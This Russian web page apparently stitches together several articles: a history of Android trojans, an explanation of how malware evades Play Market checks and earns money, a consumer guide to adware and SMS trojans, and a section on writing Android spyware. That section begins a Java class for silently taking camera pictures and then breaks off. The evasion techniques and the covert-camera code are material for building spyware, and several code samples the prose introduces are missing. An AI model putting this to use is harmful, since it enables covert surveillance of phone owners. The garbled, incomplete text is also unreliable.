Вирусы для андроид – Как вирусы попадают на Android и как их удалять. Нужен ли антивирус на Android

alexxlab 04.11.2020 Leave a comment

Содержание

История мобильного вирусописательства на примере Android — «Хакер»

Содержание статьи

Первый экспериментальный образец полноценного трояна для Android был представлен летом 2010 года на конференции DEF CON 18. С тех пор прошло уже более четырех лет, и за это время количество вирусов для мобильной ОС от Google выросло в тысячи раз, а Google успела придумать десятки различных методов противостояния угрозам. В этой статье мы детально исследуем мир вредоносов для Android и проследим противостояние поискового гиганта и хакеров.

До нашей эры, или как написать вирус за 15 минут

Первые попытки создать вредоносный софт для Android и доказать несостоятельность гугловской мобильной платформы с точки зрения безопасности начались с публикации первых предварительных версий Android SDK в 2007 году. Молодые студенты писали софт, который использовал стандартную функциональность смартфона для чтения SMS’ок, а «исследовательские» команды, вроде Blitz Force Massada, демонстрировали аж «30 векторов атак на Android», показывая, как можно использовать стандартные API Android во вредоносных целях.

Это было время игрушек, которые нельзя было назвать ни настоящим вредоносным ПО, ни тем более вирусами. То тут, то там появлялись приложения, вроде Mobile Spy от Retina-X Studios, которые позволяли удаленно читать текстовые сообщения, историю звонков, просматривать фотографии, видео, определять координаты смартфона. Встречались и различные поддельные приложения, такие как обнаруженный в маркете в январе 2010 года неофициальный клиент для различных банков, который ни с чем не соединялся, а просто уводил номера кредитных карт, введенных самим пользователем.

Более-менее настоящий троян был реализован только в 2010 году секьюрити-компанией Trustwave, которая продемонстрировала его на конференции DEF CON 18. Впрочем, Америки они не открыли; троян был всего лишь стандартным модулем ядра Linux, который перехватывал системные вызовы write(), read(), open() и close(), а также создавал реверсивный шелл по звонку с определенного номера. Вся эта функциональность позволяла подключиться к смартфону удаленно и скрытно использовать его возможности в своих целях, в том числе читать конфиденциальную информацию.

Для установки руткита требовался физический доступ к устройству, root-права и смартфон HTC Legend (модуль был совместим только с его ядром), поэтому ни о каком практическом применении руткита речи не шло. Proof of concept, который доказал только то, что ядро Linux и в смартфоне остается ядром Linux.

Настоящий троян в «дикой природе» (не маркете) был найден только в августе 2010 года. Правда, это был совсем не тот тип трояна, о котором принято писать в нашем журнале, а всего лишь SMS-троян, то есть, по сути, обычное приложение, которое шлет SMS на платные номера без ведома юзера. Игрушка, которую хороший программист напишет за полчаса, но очень опасная, попади она к обычному юзеру.

Троян, получивший имя Trojan-SMS.AndroidOS.FakePlayer.a, прикидывался видеоплеером под незамысловатым названием Movie Player и с иконкой стандартного проигрывателя из Windows. Приложение требовало права доступа к карте памяти, отправке SMS и получению данных о смартфоне, о чем система сообщала перед его установкой. Если все это не смущало пользователя и он соглашался с установкой и запускал приложение, оно повисало в фоне и начинало отправку SMS на номера 3353 и 3354, каждая из которых обходилась в пять долларов. Номера эти, кстати, действовали только на территории России, так что нетрудно догадаться о корнях автора данного «произведения».

В октябре был обнаружен другой тип SMS-трояна. На этот раз зловред использовал смартфон не для опустошения кошелька жертвы, а для кражи его конфиденциальных данных. После установки и запуска троян уходил в фон и пересылал все входящие SMS на другой номер. В результате злоумышленник мог не только завладеть различной конфиденциальной информацией пользователя, но и обойти системы двухэтапной аутентификации, которые для входа требуют не только логин и пароль, но и одноразовый код, отправляемый на номер мобильного телефона.

Интересно, что номер телефона злоумышленника не был жестко вбит в код трояна, а конфигурировался удаленно. Чтобы его изменить, требовалось отправить на номер жертвы особым образом оформленную SMS, которая содержала номер телефона и пароль. Пароль можно было изменить с помощью другой SMS, по умолчанию использовалась комбинация red4life.

Geinimi и все-все-все

Первый по-настоящему профессионально написанный и обладающий защитой от анализа вредонос для Android был обнаружен только в декабре 2010 года компанией Lookout. Троян, получивший имя Geinimi, качественно отличался от всего, что было написано ранее, и обладал следующими уникальными характеристиками:

Распространение в составе легитимного ПО. В отличие от всех остальных зловредов, которые только прикидывались настоящими программами и играми, Geinimi на самом деле внедрялся в реально существующие игры. В разное время троян был найден в составе таких приложений, как Monkey Jump 2, President Versus Aliens, City Defense and Baseball Superstars 2010, разбросанных по местным маркетам Китая и различным torrent-трекерам. Функциональность оригинального приложения полностью сохранялась, поэтому пользователь даже не догадывался о заражении смартфона.

Двойная защита от анализа. Код трояна был пропущен через обфускатор, что затрудняло его анализ, а все коммуникации с удаленным сервером шифровались (справедливости ради стоит сказать, что использовался ущербный алгоритм DES с ключом 12345678).
Возможность использования для организации ботнета. В коде Geinimi было найдено более 20 управляющих команд, которые позволяли выполнять такие операции, как установка и удаление приложений (правда, на это требовалось разрешение пользователя), получение списка всех установленных программ или запуск приложений.

В целом Geinimi действовал по следующему алгоритму. После запуска зараженного приложения создавался фоновый сервис, который собирал персональные данные: координаты устройства, номера IMEI и IMSI. Затем с интервалом в одну минуту он пытался связаться с одним из десяти удаленных серверов (www.widifu.com, www.udaore.com, www.frijd.com и другими), куда передавалась вся собранная информация и где собирались команды для удаленного исполнения.

Geinimi стал родоначальником полнофункциональных троянов для Android, и после его первого обнаружения на просторах интернета стали все чаще появляться зловреды с аналогичной или похожей функциональностью. Вскоре была найдена модификация Geinimi под названием ADRD, троян Android.Pjapps и множество других. Все они распространялись через различные сайты, torrent-трекеры, китайские неофициальные магазины, поэтому защититься от них можно было, просто не устанавливая приложения из неизвестных источников. Однако все изменилось, когда был обнаружен троян DroidDream, распространявшийся в составе более чем 50 приложений, опубликованных в официальном Android Market.

DroidDream и начало борьбы за чистоту маркета

В марте 2011 года пользователь Lompolo сообщил на reddit, что в маркете Android обнаружено нескольких десятков вредоносных приложений, опубликованных человеком с ником Myournet. Несмотря на заурядность самого трояна, а также уже известный способ распространения, основанный на внедрении кода в легитимное приложение, факт наличия малвари в маркете, а также предположения о том, что она использует эксплойт rageagainstthecage для получения прав root на устройстве, быстро подогрели интерес к новости пользователей и сотрудников различных секьюрити-компаний. За несколько дней начальный список из двух десятков приложений расширился до 56, а среди публиковавших его людей (или ботов, кто знает) обнаружились Kingmall2010 и we20090202.

Сам по себе DroidDream по функциональности был очень похож на упрощенный Geinimi, но не был его вариацией. Он также собирал информацию о смартфоне, отправлял ее на удаленный сервер (http://184.105.245.17:8080/GMServer/GMServlet) и получал в ответ управляющие команды. Плюс ко всему он также содержал в себе другое приложение, спрятанное в каталоге assets/sqlite.db внутри APK и устанавливаемое в систему под именем DownloadProvidersManager.apk. Очевидно, это была защита от удаления.

В сумме зараженные приложения успели установить от 50 до 200 тысяч пользователей, пока команда безопасности Google не отреагировала на сообщение и не удалила из маркета все найденные копии зловреда и аккаунты выложивших их пользователей. В дополнение в маркете также появилось приложение Android Market Security Tool, с помощью которого пользователь мог очистить смартфон от заразы. Но и здесь не обошлось без конфуза. Буквально через два дня после этого Symantec обнаружила на просторах интернета зараженную версию этого приложения, которая содержала в себе уже другой троян, названный впоследствии Fake10086 за выборочную блокировку SMS с номера 10086.

Факт проникновения малвари в Android Market (а после DroidDream в маркете было обнаружено еще несколько вирусов) заставил Google серьезно задуматься над безопасностью своего репозитория приложений, а так как вручную они ничего делать не привыкли, то в результате в начале 2012 года выкатили сервис Bouncer, который проверял приложения на безопасность с помощью запуска в виртуальной машине. Задача Bouncer состояла в том, чтобы производить многократный запуск софтины, симулировать работу пользователя с приложением и анализировать состояние системы до и после работы с приложением. Если никаких странных и подозрительных действий софтина себе не позволяла, то она пропускалась в маркет, в противном случае публикация блокировалась.

Если верить Google, то сразу после запуска Bouncer сократил количество вредоносов в маркете на 40% Однако позднее выяснилось, что его можно легко обойти, просто проанализировав некоторые характеристики системы, такие как email-адрес владельца «смартфона», версию ОС и так далее, а затем создав приложение, которое при их обнаружении будет действовать абсолютно законно и делать грязную работу только на настоящем смартфоне. Скорее всего, Google уже разработала схему противодействия обнаружению Bouncer (например, с помощью генерации уникальных виртуальных окружений для каждого приложения).

Конец 2011 года: начало стремительного роста количества вирусов для Android

Zeus-in-the-Mobile

Пять лет назад по компам пользователей начал свое победоносное шествие троян под названием Zeus. Благодаря изощренному дизайну и продвинутым техникам маскировки, делавшим его обнаружение невероятно трудной задачей, он смог распространиться на миллионы машин по всему миру и создать один из самых крупных ботнетов в истории; только в США было зафиксировано более трех с половиной миллионов случаев заражения.

Так выглядел интерфейс первой обнаруженной версии Zeus

Основная задача Zeus состояла в организации атаки типа man-in-the-browser, то есть использования техник кейлоггинга и формграббинга для перехвата частной пользовательской информации и ее отправки на удаленные серверы. За время своей работы Zeus смог утащить сотни тысяч логинов и паролей от популярных сервисов (Facebook, Yahoo!, hi5, metroFLOG, Sonico, Netlog) и, конечно же, множества онлайн-банков.

Разработчик Zeus быстро отреагировал на появление систем двухфакторной аутентификации и в 2010 году выпустил для Symbian и BlackBerry приложения, задача которых состояла в перехвате аутентификационных SMS-сообщений с одноразовыми кодами авторизации и их последующей отправке на все те же удаленные серверы. В середине 2012 года аналогичное приложение появилось и для Android.

Первая его версия была очень примитивна и представляла собой якобы секьюрити-приложение, которое при запуске выводит код верификации и закрывается. В результате в фоне повисает сервисный процесс, который занимается перехватом SMS и их отправкой на удаленный сервер. Последующие версии Zeus для Android обзавелись также системой удаленного управления с помощью сообщений с определенного номера, однако никаких продвинутых приемов маскировки или распространения вирус не использовал и в этот раз.

Тем не менее мобильная версия Zeus все-таки смогла наделать много шума в СМИ, но, как можно видеть, троян был сильно переоценен.

А так выглядела версия, обнаруженная спустя десять месяцев

Первый IRC-бот

В середине января 2012 года сотрудники «Лаборатории Касперского» сообщили, что обнаружен первый в истории Android IRC-бот. Приложение распространялось в виде установочного APK-файла размером чуть больше 5 Мб и выдавало себя за игру Madden NFL 12. Интересное отличие этого трояна от других было в том, что, по сути, вся его логика работы заключалась в нативных приложениях Linux, которые никак не светились в окне стандартного диспетчера задач Android и к тому же использовали локальный эксплойт для получения прав root.

Во время запуска приложение создавало каталог /data/data/com.android.bot/files, в котором размещало три файла: header01.png, footer01.png, border01.png, а затем ставило на них бит исполнения и запускало первый файл — эксплойт Gingerbreak для получения прав root на устройстве. Если была установлена уже рутованная прошивка, приложение пыталось получить права root штатными средствами, в результате чего у пользователя запрашивалось предоставление повышенных привилегий (тот случай, когда рутованный смартфон безопаснее залоченного).

В случае успешного получения прав root любым из двух способов запускался второй файл, в котором хранился SMS-троян — модификация известного трояна Foncy SMS. Троян определял принадлежность SIM-карты стране и начинал отправку сообщений на короткий платный номер, блокируя все ответные сообщения. Следующим запускался файл border01.png, в котором был код IRC-бота. Он подключался к IRC-серверу с IP-адресом 199.68.. и регистрировался на канале #andros под случайным ником. Все сообщения, отправленные боту, выполнялись в консоли как обычные Linux-команды.

Согласно заявлению сотрудников «Лаборатории Касперского», это было первое приложение такого класса для Android. Однако, по их мнению, опасность его была невелика, так как распространялся он только через серые маркеты, а эксплойт работал только в ранних версиях Android 2.3.

Первый полиморфный троян

В феврале 2012-го компания Symantec сообщила, что обнаружила первый полиморфный троян для платформы Android, который на тот момент не мог быть найден ни одним мобильным антивирусом, кроме ее собственного (сюрприз). Троян, названный Android.Opfake, распространялся через различные веб-сайты, находившиеся преимущественно на территории России и стран СНГ, в виде бесплатной версии популярного приложения или игры.

Полиморфным он был только условно, так как изменение трояна происходило на стороне сервера. При каждой новой загрузке файла содержимое APK-файла изменялось с помощью различных методов, таких как модификация файлов данных, включение в пакет приложения «мусорных файлов», а также изменение имен файлов. Все это затрудняло обнаружение мобильными антивирусами, которые в то время использовали примитивные техники идентификации, типа сверки контрольных сумм и проверки на наличие специфических файлов в пакете.

После попадания на смартфон жертвы и запуска троян извлекал из файла res/raw/data.db(который существовал в любой версии трояна) список операторов связи и платных коротких номеров и начинал отправку SMS. В дополнение троян открывал в браузере веб-страницу, содержащую ссылки на другое вредоносное ПО. Интересно, что сообщения также изменялись при каждой новой мутации трояна, в результате чего было невозможно блокировать определенные типы сообщений на стороне оператора.

Различия в контрольных суммах файлов пакета с трояном, скачанных в разное время

Вирус-матрешка

Неделей раньше, а именно 1 февраля 2012 года, на сайте Виктор Чебушев опубликовал заметку, посвященную обнаружению нового типа вируса, распространяемого через магазин Google Play. Вирус маскировался под приложение Superclean, способное, по словам разработчиков, очистить память устройства и таким образом поднять производительность смартфона или планшета. На тот момент приложение имело уже от 1000 до 5000 установок и хороший рейтинг в 4,5 звезды.

Как выяснилось, Superclean действительно выполнял очистку памяти, но делал это простым перезапуском всех фоновых приложений с помощью всего пяти строк на языке Java. На этой «сложной» задаче полезное действие приложения заканчивалось, а самое интересное начиналось дальше. Анализируя код, сотрудник «Лаборатории Касперского» обнаружил, что при запуске приложение соединялось с удаленным сервером и загружало на карту памяти три файла: autorun.inf, folder.ico и svchosts.exe.

Первые два автоматически превращали подключаемый к USB-порту компа смартфон в самозагружаемую флешку, с которой запускался файл svchosts.exe. Сам svchosts.exe на поверку оказался бэкдором Backdoor.MSIL.Ssucl.a, который слушает микрофон компьютера и отправляет все полученные с его помощью данные на удаленный сервер.

Страница приложения Superclean. Обрати внимание на рейтинг

Отличительной чертой трояна был также самый внушительный на тот момент набор функциональности из всех мобильных зловредов для Android. По команде от оператора он мог отправлять сообщения без ведома пользователя, включать и выключать Wi-Fi, собирать информацию об устройстве, открывать произвольные ссылки в браузере, отправлять на удаленный сервер содержимое SD-карты, SMS-переписку и выполнять многие другие операции.

Все, что выводит Superclean на экран

Очередной ответ Google, или принудительная проверка всех приложений

К концу 2012 года ситуация с зловредами для Android стала уже настолько накаленной, что Google решила пойти на очередной кардинальный шаг. В сентябре без лишней огласки был приобретен сервис онлайн-проверки приложений на вирусы VirusTotal, а 29 октября выпущена версия Android 4.2, одним из новшеств которой стала автоматическая проверка любого устанавливаемого не через Google Play приложения на вирусы через удаленный сервис.

Трудно сказать, использовала ли Google купленный VirusTotal для этой задачи, или у них есть собственный сервис проверки, однако не нужно быть сотрудником Google, чтобы понять, что VirusTotal так или иначе был использован для защиты Android от вирусов.

А как же другие мобильные ОС?

Настоящая история мобильных вирусов началась задолго до появления Android — в те времена, когда на рынке господствовали Symbian и Windows CE. Еще в 2004 году хакерская команда 29A продемонстрировала пример червя для Symbian Series 60, названного впоследствии Cabir (Worm.SymbOS.Cabir). Червь распространялся через Bluetooth и не совершал никаких зловредных действий, только демонстрировал сообщение «Caribe» после включения смартфона. Участники 29A разослали вирус ведущим антивирусным компаниям как пример, а затем опубликовали его исходный код, из-за чего впоследствии появилось несколько модификаций червя, на этот раз найденных «в дикой природе».

Затем был обнаружен первый вирус для систем на базе Windows CE под названием Virus.WinCE.Duts. Он поражал PocketPC 2000, PocketPC 2002, PocketPC 2003, не умел распространяться через Bluetooth или MMS, но инфицировал все найденные приложения на самом устройстве. Как и Cabir, он был детищем 29A и также был создан для демонстрации возможности существования подобного рода зловредов.

Спустя месяц для Windows CE был обнаружен первый бэкдор: Backdoor.WinCE.Brador. После запуска зловред прописывался в автозагрузку, а затем открывал сетевой порт и ожидал удаленные подключения. Бэкдор поддерживал такие команды, как получение списка файлов на устройстве, загрузка файла, показ SMS-сообщений, получение файла с устройства и выполнение определенной команды.

Практически сразу после Brador был найден и первый SM-троян, в этот раз для Symbian. Он распространялся в составе простой игры Mosquitos, в честь которой и получил свое имя — Trojan.SymbOS.Mosquit.a. После запуска он начинал рассылку сообщений на премиум-номера. Работоспособность игры при этом полностью сохранялась, а ее титульный экран был украшен сообщением о том, что игра была крякнута неким SODDOM BIN LOADER.

Впоследствии количество известных вирусов начало стремительно возрастать, и многие из них использовали многочисленные уязвимости в Symbian. Например, Trojan.SymbOS.Locknut, получивший известность в России как Govno, использовал некорректную проверку исполняемых файлов, чтобы блокировать работу всей ОС. Trojan.SymbOS.Fontal заменял системные шрифты на модифицированные версии, из-за чего ОС также отказывалась загружаться. Trojan.SymbOS.Dampig и Trojan.SymbOS.Hoblle подменяли системные приложения, а Trojan.SymbOS.Drever был способен блокировать работу антивирусных приложений.

После того как на сцене появилась iOS, некоторые вирусописатели попытались переключиться на нее. Однако из-за параноидальной закрытости API ОС и невозможности установить приложения из сторонних источников эпидемии не произошло. Немногочисленные вирусы были ориентированы на взломанные устройства и в основном выводили на экран различные рекламные и фишинговые сообщения. Наиболее примечательным стало разве что появление трояна в самом App Store. Приложение под названием Find and call, обладая функционалом VoIP-клиента, при этом совершало такие действия, как копирование контактов на удаленный сервер и рассылка спама (на русском языке, кстати).

Самый продвинутый троян

В июне этого года сотрудники «Лаборатории Касперского» обнаружили наиболее сложный и продвинутый в техническом плане троян для Android из всех, что встречались до этого. Троян получил имя Backdoor.AndroidOS.Obad.a. Это было независимое приложение, не внедряемое в легитимный софт и, судя по всему, распространяемое под видом известных приложений.

После соглашения пользователя с длинным списком полномочий, установки и запуска он запрашивал права администратора устройства (речь идет не о root, а о собственной системе безопасности Android), которые были нужны только для двух вещей: самостоятельной блокировки экрана и защиты от удаления. Последнее троян делал особенно изысканно. Используя ранее неизвестный баг в Android, он удалял себя из списка приложений с полномочиями администратора, из-за чего его невозможно было лишить этих прав и, как следствие, удалить.

Далее троян проверял в системе наличие прав root и при следующем подключении к Wi-Fi-сети отправлял информацию об устройстве на удаленный сервер. Информация была типична для такого рода приложений и содержала в себе номер телефона, IMEI, MAC-адреса и подобную информацию. В ответ он получал список команд для исполнения и заносил их в базу данных с пометкой о времени исполнения. Удаленными командами могли быть: проверка баланса, отправка сообщений, переход в режим проксирования трафика, скачивание и установка приложений, отправка файлов по Bluetooth, открытие шелла и другие. Плюс ко всему при каждом подключении к другому устройству по синему зубу он копировал сам себя на это устройство.

При попытке анализа кода трояна обнаружилось использование множества техник защиты от анализа. Во-первых, троян эксплуатировал неизвестный ранее баг в утилите dex2jar, из-за которого декомпиляция кода трояна происходила некорректно. Во-вторых, троян использовал еще один неизвестный баг в Android, позволяющий создать файл Manifest.xml, в котором содержится метаинформация о приложении, таким образом, чтобы он противоречил стандартам Google, но при этом корректно обрабатывался при запуске приложения. Из-за этого многие инструменты анализа просто не срабатывали.

Backdoor.AndroidOS.Obad.a требует множество полномочий для работы

Если же удавалось распаковать и декомпилировать код трояна, обойдя эти ограничения, то дальше приходилось иметь дело с многоуровневой системой шифрования, которая защищала от анализа все текстовые данные, а также имена методов (они тоже были строками и вызывались посредством рефлексии). Интересно, что ключом для первого слоя шифрования была строка с главной страницы facebook.com, из-за чего работу трояна невозможно было проанализировать в «стерильной комнате», без подключения к интернету (хотя ограничение, конечно, можно обойти с помощью прокси).

А плюс ко всему еще и запрашивает права администратора

INFO

В качестве одного из методов полиморфизма в найденном Symantec трояне использовалась включаемая в разные файлы фотография того самого Свидетеля из Фрязино.

WWW

Доклад с конференции DEF CON 18, посвященный первому серьезному руткиту для Android: goo.gl/WM0tBz
То самое сообщение на reddit об обнаружении трояна DroidDream: goo.gl/MnTcb

Выводы

Количество вирусов для Android сегодня исчисляется тысячами, и некоторые из них действительно представляют интерес для исследователя как образцы хорошего программирования и знания архитектуры Android. Вот только бояться их не стоит. Автор данной статьи уже более шести лет использует смартфоны на Android без всяких антивирусов и ни разу не поймал на них заразу. Главное — читать полномочия приложений и ставить их только из маркета.

Вирусы для Android. Способы заражения.

Открытым кодом. Всегда можно посмотреть, как работает та или иная системная утилита.
Распространенностью. Обновления безопасности поступают на разные модели устройств в разное время, многие вообще остаются без обновлений, что позволяет беспрепятственно использовать весьма несвежие уязвимости.
Несовершенством антивирусных программ. Сколько бы процессоров ни было в устройстве, антивирусы все равно значительно замедляют работу ОС, поэтому пользователи неохотно их ставят.
Слабой системой проверки приложений в маркете. Несмотря на все уверения специалистов Google о «многоступенчатой проверке», в маркет легко проникают клоны удаленных инфицированных программ, а к разработчикам таких программ не применяются никакие меры.
Отсутствием централизованного контроля за прошивками. Разработчик прошивки может беспрепятственно вставлять любой шпионский софт по своему усмотрению.

ОБХОД АНТИВИРУСНЫХ СКАНЕРОВ

Времена свободного доступа любого приложения в Play Market подходят к концу. Ребята из Google сообразили, что надо принимать хоть какие-то меры, чтобы остановить нашествие огромного количества вирусов, и ввели систему проверки приложений. Создатели вирусов мгновенно отреагировали и начали вставлять механизмы обхода проверки.

[ad name=”Responbl”]

Один из интересных методов — отложенный старт вредоносной активности. Например, приложение месяц ведет себя как обычная игрушка или справочник, тысячи пользователей скачивают его и оставляют восторженные отзывы, привлекая все большую аудиторию. А через некоторое время в приложении вдруг просыпается зло, и оно начинает показывать фейковые диалоги, скачивать и устанавливать нежелательный софт.

Другие вирусы, такие как семейство Leech, определяют свой IP-адрес в сети и, если он попадает в IP-диапазон, используемый Google, или же имя хоста айпишника содержит слова google, android, 1e100, сразу же прекращают работу, чтобы не вызывать подозрений у системы автоматической проверки. Причем делают они это по-хитрому, ведь если использовать стандартные средства Android, то придется запрашивать у пользователя дополнительные разрешения. Поэтому злоумышленники обращают свой взор на такие ресурсы, как ipinfo.io. Не составит труда загрузить страничку в строку и найти там нужную информацию:

Развиваются и методы обхода статического анализа кода. Один из способов — использовать динамическую загрузку библиотек с вредоносной нагрузкой. В результате само приложение выглядит вполне невинно. Для загрузки внешнего кода используется класс DexClassLoader, который умеет загружать классы из JARили APK-файлов в формате DEX.

После загрузки класса можно спокойно дергать его методы с помощью рефлексии. Внешнюю библиотеку можно как разместить в самом APK, так и скачать из Сети после установки. Чтобы еще больше усложнить обнаружение вредоносного кода, злоумышленники шифруют такие программные модули и дают им трудноугадываемые имена.

Некоторые вирусописатели идут дальше и выкладывают в маркет приложения, которые после установки скачивают и устанавливают вирусные аппликухи самостоятельно, маскируя их под системные утилиты. Так что, даже если пользователь удалит изначальное приложение, вирус будет преспокойно обитать на устройстве и дальше. Такой подход реализован, например, в приложении BrainTest.

Для установки новых приложений без ведома пользователя злоумышленники используют утилиту pm:

Чтобы использовать эту утилиту, приложение должно либо запрашивать разрешение android.permission.INSTALL_PACKAGES в манифесте, либо обладать правами рута. Проверить, установлено ли приложение, можно, воспользовавшись методом getPackageInfo класса PackageManager:

СПОСОБЫ ОБОГАЩЕНИЯ НА ВИРУСАХ ДЛЯ АНДРОИД

Самый простой способ нажиться на бедных пользователях — заставить их просматривать рекламу. Например, приложение Who Viewed Me on Instagram обещает показать пользователю его тайных поклонников в инстаграме, а вместо этого ворует учетные данные и размещает кучу рекламы в профиле пользователя. Приложение использует возможность вызова методов Android-приложения из JavaScript-кода. Чтобы украсть учетную запись пользователя, вредонос просит пользователя залогиниться в своем окне с WebView, а после загрузки логин-страницы инстаграма добавляет кусочек своего кода к кнопке входа.

Объявляем метод, который будет принимать учетную запись из JavaScript:

Следует отметить, что после удаления одной версии программы автор сразу же разместил аналогичную, лишь слегка изменив название. И она спокойно прошла контроль со стороны Play маркета! Похоже, что Большой Брат не так уж пристально следит за разработчиками.

Между прочим, количество загрузок у подобных «полезных приложений» иногда переваливает за 100 тысяч! Так что, если приложение просит тебя залогиниться в соцсеть в своем окне, самое время насторожиться и вспомнить, что конкретно тебе известно об этом приложении.

[ad name=”Responbl”]

Другой набирающий популярность способ обогащения — вирусы-вымогатели. Попав на устройство, они получают права рута, часто шифруют пользовательские данные и показывают окно с требованием выкупа, предотвращая попытки пользователя запустить другие приложения. Так ведут себя, к примеру, вирусы семейства Fusob.

Первоочередная задача программы-вымогателя — получить рут на устройстве жертвы. К сожалению простых пользователей, в Сети гуляет бесчисленное множество эксплоитов, позволяющих незаметно повысить права приложения до суперпользовательских. Например, Towelroot постоянно обновляется и совершенствуется своим создателем. Неплохую базу эксплоитов собрала группа Offensive Security, ну и конечно, все самые свежие уязвимости можно посмотреть на CVE.

Получив рут, зловред с помощью класса ActivityManager начинает контролировать работу других приложений, убивая нежелательные:

Нередко для управления вирусом-вымогателем используется GCM — ребята из Google разработали идеальную систему для отправки команд приложению и получения от него ответов. Достаточно зарегистрироваться на сервере, предварительно получив токен для работы.

Теперь можно принимать любые команды, в том числе на обновление вируса, что дает злоумышленнику практически неограниченную власть.

Есть и более безобидные способы обогащения. Например, популярное приложение «Фонарик» втихаря собирало данные о месторасположении пользователей, которые разработчик потом продавал рекламщикам для таргетирования рекламы.

ВЫВОДЫ

В этой статье мы разобрали все ключевые моменты кода, которые позволяют современной малвари реализовывать зловредные идеи своих плохих авторов. Обладающему этими знаниями программисту бояться нечего :), а что же делать простому пользователю? Если не хочется устанавливать кучу антивирусного софта на девайс, всегда можно скачать APK перед установкой и проверить его на наличие вирусов онлайн-утилитами, например тем же Вирустоталом. Ими же могут воспользоваться разработчики, чтобы удостовериться, что их новое приложение не будет принято за вирус.

Мобильные вирусы для Android — часть первая

В последние годы помыслы злоумышленников сосредоточены на смартфонах. Ведь именно с мобильниками мы не расстаемся целыми днями, храним на них личные документы и фотографии, используем их как средство общения, камеру, проездной, кошелек и многое другое. На них хранится вагон и маленькая тележка ценных данных, за которые можно получить приличное вознаграждение. Впрочем, и для других нехороших целей мобильные устройства подходят отлично. Поэтому и программ-вредителей для смартфонов немало.

В прошлом году мы отловили 42,7 млн зловредов, которые используют смартфоны и планшеты для своих нехороших дел. Чтобы удобнее было в них разбираться, мы делим их на несколько видов в зависимости от того, чего они хотят и как себя ведут. В этой части мы познакомимся с тремя довольно широко распространенными видами.

Adware: рекламные кликеры и навязчивые баннеры

Один из самых распространенных видов заразы для мобильных устройств — рекламные зловреды. Их задача — накручивать клики по баннерам в Интернете либо самостоятельно, либо вашими руками. Или же они просто показывают вам лишнюю рекламу.

В первом случае вы даже не видите объявления. При этом кликер расходует ваши ресурсы — заряд аккумулятора и мобильный трафик. Зараженный смартфон садится всего за несколько часов, а счета за связь неприятно удивляют.

Второй тип рекламных вредоносов подменяет баннеры на интернет-страницах своими и заваливает вас ненужными объявлениями, чтобы вы сами волей-неволей переходили по ссылкам. При этом нередко поток спама оказывается таким мощным, что устройством становится невозможно пользоваться: реклама заслоняет собой все остальное.

Некоторые экземпляры могут еще и без спроса собирать информацию о вашем поведении в сети. Потом эти данные попадают к рекламодателям, которые с их помощью корректируют настройки своих рекламных кампаний. Кроме того, баннеры могут вести на вредоносные сайты, откуда на ваше устройство скачается что похуже.

SMS- и веб-подписчики

Второй вид зловредов — подписчики, также известные как кликеры (Trojan-clicker). Они занимаются тем, что воруют деньги с вашего мобильного счета — оттуда это делать проще всего, поскольку для этого не требуется никаких конфиденциальных данных вроде номера карточки. Средства утекают через платные WAP- или SMS-подписки, а в некоторых случаях — еще и через звонки на платные номера за счет жертвы.

О том, что такое WAP и как им пользуются злоумышленники, мы уже подробно писали здесь. Чтобы оформить от вашего имени платную подписку, WAP-кликеру достаточно нажать кнопку на сайте. SMS-зловредам требуется разрешение на отправку сообщений, однако многие пользователи готовы выдать его любому приложению не глядя. Чуть сложнее задача программ, тратящих ваши средства на IP-телефонию: им приходится регистрировать аккаунт в соответствующем сервисе.

Один из ярких примеров подписчиков — троян Ubsod. Этот вредитель специализируется на WAP, а чтобы вы как можно дольше не замечали его деятельность, он удаляет все SMS, содержащие ubscri или «одпи» (фрагменты слов subscribe / subscription и «подписка» / «подписаться»). Кроме того, он умеет переключаться с Wi-Fi на мобильный Интернет — только через него можно работать с WAP.

По счастью, избавиться от ненужных подписок несложно: все подписки отображаются в личном кабинете на сайте оператора. Там же вы можете их отключить, и даже запретить оформлять новые на этот номер (впрочем, в некоторых случаях такой запрет можно наложить только временно). Главное — заметить утечку денег со счета достаточно быстро, чтобы у вас не украли слишком много.

SMS-флудеры и DDoS-еры

Эти две категории объединяют зловреды, которые не скачивают, а отправляют данные — много данных! И делают это, конечно же, тайком, не спрашивая вашего разрешения. На том, чтобы за ваш счет испортить кому-то жизнь, тоже можно неплохо подзаработать — этим и пользуются мошенники.

Так, SMS-флуд часто используют хулиганы, чтобы поиздеваться над своей жертвой или вывести ее аппарат из строя. Флудеры можно установить на свое устройство и с него заваливать тысячами СМС своих врагов. Но многие не ограничиваются этим и стремятся отправлять сообщения за чужой счет, незаметно подсовывая приложение посторонним.

DDoS-еры способны «уложить на лопатки» не только смартфон, но и более мощное устройство или даже крупный интернет-ресурс. Для этого злоумышленники объединяют зараженные гаджеты в сеть — ботнет — и засыпают жертву запросами с них. Кстати, в роли DDoS-ера могут выступать и кликеры, пытающиеся открыть одну и ту же веб-страницу бессчетное количество раз.

И флудеры, и DDoS-еры пытаются с помощью вашего смартфона навредить кому-то еще. И все же для вас их деятельность тоже не пройдет бесследно, ведь это нагрузка и на производительность гаджета, и на его аккумулятор, и, естественно, на ваш счет. Обычно эти программы распространяются не очень широко, однако в июле 2013 года SMS-флудер Didat попал в топ-20 вредоносных программ, рассылаемых по почте.

Чем дальше в лес…

Сегодняшние герои нашей энциклопедии мобильной нечисти не слишком опасны. В худшем случае они утянут деньги со счета вашего телефона и попортят вам нервы. При этом многих из них легко обнаружить и удалить с помощью антивируса.

В следующих главах мы расскажем о злодеях повыше рангом. Следите за обновлениями и помните о правилах мобильной безопасности:

Не устанавливайте приложения из сторонних источников, а лучше вообще запретите это в настройках операционной системы!
Своевременно обновляйте мобильную ОС и все установленные приложения.
Защищайте мобильным антивирусом все свои устройства на Android.
Регулярно проверяйте список платных услуг в личном кабинете мобильного оператора и отключайте все, на что не подписывались сами. Обнаружив незнакомую подписку, не поленитесь проверить ваше устройство антивирусом.
Всегда читайте списки разрешений, которые у вас просит приложение, и не позволяйте лишнего.

Как создать троян на Андроид. Как написать шпион для Андроид

public class SilentCamera2 {

private Context context;

private CameraDevice device;

private ImageReader imageReader;

private CameraCaptureSession session;

private SurfaceTexture surfaceTexture;

private CameraCharacteristics characteristics;

private Surface previewSurface;

private CaptureRequest.Builder request;

private Handler handler;

private String photosDir;

public SilentCamera2(Context context) {

this.context = context;

}

private final CameraDevice.StateCallback mStateCallback =

new CameraDevice.StateCallback() {

@Override

public void onOpened(CameraDevice cameraDevice) {

device = cameraDevice;

try {

surfaceTexture = new SurfaceTexture(10);

previewSurface = new Surface(surfaceTexture);

List<Surface> surfaceList = new ArrayList<>();

surfaceList.add(previewSurface);

surfaceList.add(imageReader.getSurface());

